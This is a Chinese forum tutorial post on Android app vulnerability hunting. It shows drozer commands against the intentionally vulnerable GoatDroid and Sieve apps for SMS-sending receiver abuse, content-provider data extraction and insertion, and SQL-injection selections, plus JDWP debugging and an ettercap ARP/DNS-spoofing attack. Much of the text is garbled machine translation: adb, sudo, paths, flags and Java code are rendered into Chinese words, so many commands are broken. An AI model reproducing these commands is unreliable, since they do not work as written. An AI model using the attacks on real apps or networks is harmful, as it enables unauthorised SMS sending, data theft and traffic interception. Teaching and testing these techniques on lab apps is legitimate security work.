資源共享吧|易語言論壇|逆向破解教程|輔助開發(fā)教程|網(wǎng)絡安全教程|rigasin.com|我的開發(fā)技術(shù)隨記
標題:
零基礎安卓逆向?qū)W習之旅(四)APP漏洞挖掘
[打印本頁]
作者:
安卓逆向培訓
時間:
2020-2-20 14:24
標題:
零基礎安卓逆向?qū)W習之旅(四)APP漏洞挖掘
零基礎安卓逆向?qū)W習之旅(四)APP漏洞挖掘
今天跟大家分享的是如何利用APP漏洞,本期主要是介紹如何發(fā)現(xiàn)APP漏洞并利用這些突破進行攻擊。
一,通過logcat查看日志信息
logcat是在ADB下的一個查看日志的工具,可以通過adb logcat -help查看其使用。
(, 下載次數(shù): 97)
上傳
點擊文件名下載附件
adb logcat [選項] [過濾器]
[選項]主要是logcat的一些選項
[filter]則以標簽:priority來過濾日志信息
標簽是在日志中的組件,在日志信息中位于優(yōu)先級后邊的組件名
優(yōu)先主要包括下邊幾個部
V,verbose(冗長的日志信息)
D,debug(日志中的調(diào)試部分)
I,Info(日志類別信息)
W,Warn(警告/錯誤信息)
E,Error(錯誤信息)
例如要過濾出錯誤信息:adb logcat *:E,*表示某個組件,可用具體組件代替。
(, 下載次數(shù): 105)
上傳
點擊文件名下載附件
另外在ubuntu下,也可以通過管道的方式來對輸出的日志信息進行過濾。
亞行l(wèi)ogcat | grep“ cookie”
(, 下載次數(shù): 104)
上傳
點擊文件名下載附件
亞行l(wèi)ogcat | grep“ http”
(, 下載次數(shù): 104)
上傳
點擊文件名下載附件
二,檢查網(wǎng)絡數(shù)據(jù)
1. 安裝Wireshark
①aptitude search wirehark // 查找wireshark相關包
②sudo apt-get install wirehark // 安裝wireshark
2. 在android設備上安裝tcpdump
① http://www.strazzere.com/android/tcpdump 電子雜志tcpdump的二進制文件
② 通過ADB以root權(quán)限進入android設備shell模式,創(chuàng)建用于存放tcpdump的目錄
mkdir /數(shù)據(jù)/ tcpdump
chmod 755 / data / tcpdump // 修改目錄權(quán)限屬性
③將tcpdump安裝入android設備中
亞行推送tcpdump / data / tcpdump /
亞行外殼chmod 755 / data / tcpdump / tcpdump
./tcpdump -help // adbshel​​l 下測試是否安裝成功?
(, 下載次數(shù): 108)
上傳
點擊文件名下載附件
3. 在android設備上安裝busybox,獲得nc功能
https://busybox.net/downloads/ // busybox下載
https://busybox.net/downloads/BusyBox.html // busybox安裝
4. 實時抓取數(shù)據(jù)包
①android上抓取數(shù)據(jù)包并輸入到相應端口
./tcpdump -i any -w-| busybox nc -l -p 31336
(, 下載次數(shù): 104)
上傳
點擊文件名下載附件
-i any // 監(jiān)聽所有網(wǎng)絡接口
-w-//直接以輸出流輸出(也可輸出到文件中)
busybox nc -l -p 31337 // 將tcpdump輸入的數(shù)據(jù)包從31336端口輸出。
②本機上端口交互,wireshark實時抓包
亞行轉(zhuǎn)發(fā)tcp:12345 tcp:31336 && netcat 127.0.0.112345 | Wireshark –k –S –i –
(, 下載次數(shù): 106)
上傳
點擊文件名下載附件
adb forward tcp:12345 tcp:31336 // 交互本地12345端口與android 31336端口
netcat 127.0.0.1 12345 // 監(jiān)聽本地12345端口數(shù)據(jù)
最后將數(shù)據(jù)包輸入到wireshark進行實時包顯示:
-k // 啟動wireshark進行包的抓取
-S // 實時更新包
-i-// 將管道的輸入作為wireshark的包接口輸入
5.攻擊服務
對于部分沒有設置好的適當權(quán)限的服務,容易導致在沒有如何權(quán)限請求下,在后臺執(zhí)行著敏感的操作。
<serviceandroid:name =“。services.LocationService”>
<意圖過濾器>
<actionandroid:name =“ org.owasp.goatdroid.fourgoats。
services.LocationService“ />
</ intent-filter>
</ service>
</ application>
<uses-permissionandroid:name =“ android.permission.SEND_SMS” />
<uses-permissionandroid:name =“ android.permission.CALL_PHONE” />
<uses-permissionandroid:name =“ android.permission。
ACCESS_COARSE_LOCATION“ />
<uses-permissionandroid:name =“ android.permission。
ACCESS_FINE_LOCATION“ />
<uses-permissionandroid:name =“ android.permission.INTERNET” />
</ manifest>
例如上邊的AndroidManifest.xml代碼片段服務:的地理位置信息,可以通過drozer直接枚舉權(quán)限為空的服務,并相應命令啟動服務
dz>運行app.service.info --permission null
dz>運行app.service.start --action [ACTION] --category [CATEGORY]-data-uri [DATA-URI]-組件[package name] [component name] --extra [TYPEKEY VALUE]-模仿類型[MIMETYPE]
6,攻擊廣播接收器
當一個廣播接收器沒有設置合適的權(quán)限時,容易接收到不可信輸入,從而進行惡意操作 。
1)廣播接收機突破實例
<接收器
android:name =“ .broadcastreceivers.SendSMSNowReceiver ”
android:label =“ SendSMS”>
<意圖過濾器>
<actionandroid:name =
“ org.owasp.goatdroid.fourgoats.SOCIAL_SMS ” />
</ intent-filter>
</ receiver>
</ application>
<uses-permissionandroid:name =“ android.permission.SEND_SMS ” />
<uses-permissionandroid:name =
“ android.permission.CALL_PHONE” />
<uses-permissionandroid:name =
“ android.permission.ACCESS_COARSE_LOCATION” />
<uses-permissionandroid:name =
“ android.permission.ACCESS_FINE_LOCATION” />
<uses-permissionandroid:name =“ android.permission.INTERNET” />
</ manifest>
這個app中接收器授予了android.permission.SEND_SMS權(quán)限,而又沒設置合適的權(quán)限進行保護,直接暴露給其他應用,可以被直接啟動,并且如果該接收器的動作代碼如下:
Goatdroid.fourgoats.SOCIAL_SMS操作:
公共voidonReceive(Context arg0,Intent arg1){
上下文= arg0;
SmsManager sms = SmsManager.getDefault();
捆綁包bundle = arg1.getExtras();
sms.sendTextMessage(bundle.getString(“ phoneNumber”),為空,
bundle.getString(“ message”),null,null);
Utils.makeToast(context,Constants.TEXT_MESSAGE_SENT,
Toast.LENGTH_LONG);
}
代碼中沒有對調(diào)用此接收器進行預先進行檢查,并直接從捆綁對象獲取字符串值,作為sendTextMessage參數(shù)填充入,從而導致可以輕松發(fā)送任意短信。
7. 通過drozer啟動廣播接收器
dz>運行app.broadcast.send --action [ACTION] --category [CATEGORY]
--component [PACKAGE COMPONENT] --data-uri [DATA_URI] --extra [TYPE KEY VALUE] --flags [FLAGS *] --mimetype [MIMETYPE]
對上邊實例進行短信發(fā)送:
dz>運行app.broadcast.send --actionorg.owasp.goatdroid.fourgoats。
SOCIAL_SMS-組件org.owasp.goatdroid.fourgoatsorg.owasp。
Goatdroid.fourgoats.broadcastreceivers.SendSMSNowReceiver --extrastring phoneNumber 02029821468 --extra string message PWNED
通過啟動該接收器并預期字符向02029821468號碼發(fā)送PWNED。
8.枚舉有防御的內(nèi)容提供商
通常內(nèi)容提供者中包含有很多有價值的信息,并且攻擊是通過惡意的intent來請求內(nèi)容提供者,這樣的意圖包含著惡意的URI字符讓contentprovider進行處理。
1)drozer 枚舉可能有突破的內(nèi)容提供商
dz>運行app.provider.info --permission null // 枚舉沒設置權(quán)限的內(nèi)容提供商
dz> run app.provider.finduri [package] // 查找包的有效內(nèi)容URI字符串,通過查找到的內(nèi)容URI,可以查找到突破口來提取內(nèi)容提供者的數(shù)據(jù) 。
2)從有防御的內(nèi)容提供商中獲取數(shù)據(jù)
通過上邊的方式獲取內(nèi)容URI,如果該URI無需讀權(quán)限即可獲取數(shù)據(jù)。
運行app.provider.info –權(quán)限為空
運行app.provider.finduri [package]
獲取無權(quán)限的URI信息:
(, 下載次數(shù): 85)
上傳
點擊文件名下載附件
dz>運行app.provider.query [URI]
對上插圖URI:“ content:// downloads / my_downloads”獲取信息。
(, 下載次數(shù): 98)
上傳
點擊文件名下載附件
如包含用戶敏感信息的內(nèi)容URI沒有進行權(quán)限設置將容易遭到惡意攻擊
有些在對內(nèi)容提供者設置路徑權(quán)限時,當匹配類型(匹配類型)使用了PATTERN_LITERAL時,Android權(quán)限框架將僅在所請求的路徑與定義的路徑精確匹配時,才會強制執(zhí)行檢查權(quán)限。
三,實例
在下方網(wǎng)址上下載apk,并安裝于android設備上。
https://www.mwrinfosecurity.com/system/assets/380/ original / sieve.apk
(, 下載次數(shù): 115)
上傳
點擊文件名下載附件
通過查看該應用的提供商相關信息,該應用使用了PATTERN_LITERAL匹配模式保護路徑鍵,當試圖使用dorzer查詢該路徑時,會應權(quán)限受拒。
(, 下載次數(shù): 93)
上傳
點擊文件名下載附件
但當將路徑變換為Keys /時,則不會檢查路徑,可順利查詢數(shù)據(jù)。
(, 下載次數(shù): 90)
上傳
點擊文件名下載附件
由于該app進行PATTERN_LITERAL匹配模式只定義了/ Keys,而/ Keys /則沒有定義訪問權(quán)限,所以可以順利獲取數(shù)據(jù)。
1.向contentprovider插入數(shù)據(jù)
當一個內(nèi)容提供者沒有設置好寫入權(quán)限限制時,攻擊者則可以惡意地將數(shù)據(jù)插入到其SQLite數(shù)據(jù)庫中。
1)運用drozer插入數(shù)據(jù)
在向內(nèi)容提供者插入數(shù)據(jù)前,先要知道數(shù)據(jù)的結(jié)構(gòu)及數(shù)據(jù)名稱等相關信息。
dz>運行app.provider.columns [URI]
如實例app的命令如下:
dz>運行app.provider.columns content://com.mwr.example.seive。
DBContentProvider /密碼
(, 下載次數(shù): 96)
上傳
點擊文件名下載附件
當發(fā)現(xiàn)數(shù)據(jù)庫中數(shù)據(jù)的結(jié)構(gòu)及名稱后,將有利于進行進一步攻擊,插入數(shù)據(jù)。
dz>運行app.provider.insert [URI] [-布爾[名稱] [值]] [-整數(shù)[名稱] [值]] [-字符串[名稱] [值]] ...
通過drozer向可插入數(shù)據(jù)的URI的執(zhí)行命令如上,其支持插入的數(shù)據(jù)類型有
--boolean –double –float –integer –long –string –short。
如向上邊的實例中插入數(shù)據(jù):
dz>運行app.provider.insertcontent://com.mwr.example.sieve。
DBContentProvider / Passwords --int _id 3-已注入字符串用戶名-已注入字符串服務--string密碼woopwoop --string電子郵件
myspam@gmail.com
(, 下載次數(shù): 97)
上傳
點擊文件名下載附件
顯示出成功插入的數(shù)據(jù),其中密碼中的woopwoop密碼要想可以可以正常使用,則應像前邊密碼一樣先進行base64編碼再插入數(shù)據(jù)庫中。
2.枚舉有SQL注入防御的內(nèi)容提供者
如一個應用對用戶認證的方式是從數(shù)據(jù)庫中進行對應的查詢,其代碼如下:
公共布爾isValidUser(){
u_username = EditText(一些用戶值);
u_password = EditText(一些用戶值);
//一些不重要的代碼在這里...
字符串查詢=“從users_table中選擇*,其中username ='” +
用戶名+“'和密碼=' ” + u_password +“ '”;
SQLiteDatabase數(shù)據(jù)庫
//一些不重要的代碼在這里...
光標c = db.rawQuery(p_query,null);
返回c.getCount()!= 0;
}
當用戶輸入的密碼為:或or1'='1',則查詢語句轉(zhuǎn)換:select * from users_table其中username ='“ + u_username +”'andpassword = '或'1'='1' , 結(jié)果都為真,從而數(shù)據(jù)庫所有用戶都會被返回出來,運用drozer查詢有SQL注入的contentprovider可以嘗試:
dz>運行app.provider.query [URI] –選擇“ 1 = 1”
dz>運行app.provider.query [URI] –選擇“ 1-1 = 0”
dz>運行app.provider.query [URI] –選擇“ 0 = 0”
dz>運行app.provider.query [URI] –選擇“(1 + random())* 10> 1”
3,利用可調(diào)試的app
drozer 查看設備上可調(diào)試的app:
dz>運行app.package.debuggable
(, 下載次數(shù): 95)
上傳
點擊文件名下載附件
當可調(diào)試的應用在Android設備的VM上運行時,可以通過Java調(diào)試連接協(xié)議(JavaDebug Wire Protocol)接口,將本地主機連接到VM上,從而獲取正在運行的可調(diào)試應用的信息。
adb jdwp // 列出可連接到VM的端口
選擇一個端口,執(zhí)行命令使本地端口與VM端口交互
adb轉(zhuǎn)發(fā)tcp:[本地端口] jdwp:[設備上的jdwp端口]
如adb forward tcp:31337 jdwp:307266
jdb –attach localhost:[PORT] // 通過Java調(diào)試器使本地主機訪問VM
jdb –attach本地主機:31337
(, 下載次數(shù): 92)
上傳
點擊文件名下載附件
在jdb會話中,執(zhí)行下邊命令提取VM類信息:
班級
(, 下載次數(shù): 93)
上傳
點擊文件名下載附件
方法[class-path] // 查看指定類的所有方法
(, 下載次數(shù): 97)
上傳
點擊文件名下載附件
field [class name] // 查看類的域或類屬性
4. app中間人攻擊
1)安裝攻擊工具Ettercap
sudo aptitude search ettercap //查找ettercap相關包
(, 下載次數(shù): 88)
上傳
點擊文件名下載附件
sudo aptitude install ettercap-graphical //安裝Ettercap
2. 配置/usr/share/ettercap/etter.dns文件的DNS配置
須藤vim /usr/share/ettercap/etter.dns
(, 下載次數(shù): 97)
上傳
點擊文件名下載附件
如上圖,為將本地主機冒充為DNS服務器,為部分域名配置上主機IP地址。
5. 啟動中間人攻擊
ettercap –T –I [接口] –M ARP:遠程–P dns_spoof / [ 目標地址] / [網(wǎng)關地址] /
[interface] 連上網(wǎng)絡的網(wǎng)卡(無線網(wǎng)卡,與android設備一對網(wǎng)段)
[ 目標地址] android 設備IP地址
[ 網(wǎng)關地址] 默認網(wǎng)關IP地址
(, 下載次數(shù): 97)
上傳
點擊文件名下載附件
稍過一會,在android設備上用firefox瀏覽器訪問www.baidu.com,顯示ettercap記錄下網(wǎng)絡流量
(, 下載次數(shù): 101)
上傳
點擊文件名下載附件
用wireshark抓包,可看到這次ARP欺騙中的ARP數(shù)據(jù)包及DNS請求包
(, 下載次數(shù): 91)
上傳
點擊文件名下載附件
結(jié)語: 今天跟大伙分享的是如何利用app突破
作者:
a114543
時間:
2020-9-19 08:55
祝資源共享吧越來越火!
歡迎光臨 資源共享吧|易語言論壇|逆向破解教程|輔助開發(fā)教程|網(wǎng)絡安全教程|rigasin.com|我的開發(fā)技術(shù)隨記 (http://rigasin.com/)
Powered by Discuz! X3.4